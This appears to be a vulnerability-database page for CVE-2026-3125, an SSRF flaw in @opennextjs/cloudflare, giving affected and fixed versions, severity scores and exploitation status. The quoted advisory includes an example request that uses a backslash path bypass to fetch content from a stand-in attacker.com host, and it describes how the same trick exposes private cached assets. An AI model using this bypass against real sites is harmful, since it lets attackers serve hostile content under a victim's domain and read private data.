Home / opennextjs / @opennextjs/cloudflare / CVE-2026-3125
CVE-2026-3125: is it exploited, and which versions of @opennextjs/cloudflare are affected and fixed?
CVE-2026-3125 is a server-side request forgery (SSRF) vulnerability in @opennextjs/cloudflare. It is not known to be exploited: it is not in CISA's Known Exploited Vulnerabilities catalog (catalog 2026.11.30, read December 3, 2026, 14:08 UTC). Affected: @opennextjs/cloudflare before 1.17.1 (GitHub advisory GHSA-c7mq-gh6q-6q7c). Fixed in 1.17.1 (GitHub advisory GHSA-c7mq-gh6q-6q7c). Severity: High (7.7, CVSS 4.0, from cloudflare).
Data checked December 3, 2026: last read CISA KEV December 3, 2026, 14:08 UTC, CVE record November 19, 2026, 07:09 UTC and NVD November 19, 2026, 07:13 UTC.
What is CVE-2026-3125?
SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services. Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests. Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
From the CVE record by cloudflare, last updated March 4, 2026, 18:58 UTC.
Which versions are affected, and which fix it?
| Vendor | Product | Affected | Fixed or not affected from |
|---|---|---|---|
| opennextjs | @opennextjs/cloudflare Cloudflare Workers | before 1.17.1 | 1.17.1 |
As the CVE record by cloudflare states it, last updated March 4, 2026. Version ranges are the CNA's; a version the record calls not affected is usually the fix.
Which packages are affected, and in which version is each fixed?
| Ecosystem | Package | Affected | Fixed in | Advisory |
|---|---|---|---|---|
| npm | @opennextjs/cloudflare | < 1.17.1 | 1.17.1 | GHSA-c7mq-gh6q-6q7c |
GitHub Advisory Database, reviewed advisories (CC BY 4.0); advisory updated March 5, 2026. Summary: opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass.
Which products and versions does the NVD list as affected?
| Vendor | Product | Versions | Type |
|---|---|---|---|
| opennextjs | opennext for cloudflare | before 1.17.1 | application |
NVD analysis (status Analyzed), last modified June 17, 2026, 10:43 UTC.
How severe is CVE-2026-3125?
| Score | Version | Vector | Source |
|---|---|---|---|
| High 7.7 | CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N | cloudflare |
| Medium 6.5 | CVSS 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N | NVD |
Each score is shown as its source gave it: the CNA that wrote the record, CISA's ADP (vulnrichment) and the NVD. They can differ.
What the ratings mean: in CVSS 3 and 4, scores run from 0 to 10, with Low 0.1 to 3.9, Medium 4.0 to 6.9, High 7.0 to 8.9 and Critical 9.0 to 10.0. CVSS 2 has no Critical band: its High runs from 7.0 to 10.0. The vector lists how the flaw is reached (network, local), what an attacker needs (privileges, a user's click) and what it can harm.
Is CVE-2026-3125 exploited in the wild?
- CISA KEV
- Not listed (catalog 2026.11.30)
- CISA SSVC
- Exploitation: none; automatable: yes; technical impact: partial (CISA ADP, March 4, 2026)
- EPSS
- 0.39% probability of exploitation activity in the next 30 days, percentile 35.7 (FIRST EPSS, scores of December 2, 2026)
What kind of flaw is it?
How do I fix it? (from the CVE record)
Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.
Where are the vendor advisories and references?
- https://github.com/opennextjs/opennextjs-cloudflare/pull/1147 patch
- https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1 product
- https://github.com/advisories/GHSA-rvpw-p7vw-wj3m related
- https://www.cve.org/cverecord?id=CVE-2025-6087 related
Who found and reported it?
- https://x.com/ez_z3r (finder)
As published in the CVE record; contact details are removed.
When was it published, and where is the official record?
- Reserved
- February 24, 2026
- Published
- March 4, 2026, 18:14 UTC
- CVE record updated
- March 4, 2026, 18:58 UTC by cloudflare
- NVD
- Analyzed, last modified June 17, 2026, 10:43 UTC
- Last checked
- CVE list November 19, 2026, 07:09 UTC; NVD November 19, 2026, 07:13 UTC; KEV December 3, 2026, 14:08 UTC; EPSS December 2, 2026
- Official record
- cve.org · NVD
What other CVEs affect @opennextjs/cloudflare?
- Oct 15, 2026CVE-2026-100409 opennextjs-cloudflare: improper Handling of URL Encoding (Hex Encoding)
Every CVE in @opennextjs/cloudflare
Questions about CVE-2026-3125
Is CVE-2026-3125 exploited in the wild?
Not as far as CISA knows: it is not in the Known Exploited Vulnerabilities catalog, read December 3, 2026, 14:08 UTC. FIRST's EPSS gives it a 0.39% chance of exploitation activity in the next 30 days (scores of December 2, 2026).
Which versions of @opennextjs/cloudflare are affected by CVE-2026-3125?
@opennextjs/cloudflare before 1.17.1, per the GitHub advisory GHSA-c7mq-gh6q-6q7c. The tables above give every range the sources list.
Which version fixes CVE-2026-3125?
1.17.1, per the GitHub advisory GHSA-c7mq-gh6q-6q7c. Check the vendor's advisory before you rely on it.
How severe is CVE-2026-3125?
High (7.7, CVSS 4.0, from cloudflare). The severity table above shows each score with its source.
Where is the official record of CVE-2026-3125?
The CVE Program's record is at cve.org and the NVD's at nvd.nist.gov. For a fix, the vendor's own advisory is the one to follow.